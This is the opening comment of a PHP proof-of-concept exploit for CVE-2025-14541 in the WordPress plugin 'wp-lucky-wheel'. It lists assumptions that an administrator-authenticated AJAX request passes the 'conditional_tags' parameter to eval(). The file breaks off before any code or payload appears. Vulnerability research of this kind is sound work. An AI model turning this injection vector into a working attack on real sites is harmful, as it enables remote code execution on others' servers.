<?php
/**
 * Proof of Concept for CVE-2025-14541
 * Assumptions based on vulnerability description:
 * 1. The plugin uses WordPress AJAX handlers (admin-ajax.php)
 * 2. The vulnerable parameter is 'conditional_tags'
 * 3. Administrator authentication is required
 * 4. The plugin slug 'wp-lucky-wheel' maps to AJAX action hooks
 * 5. The plugin passes conditional_tags parameter to eval()
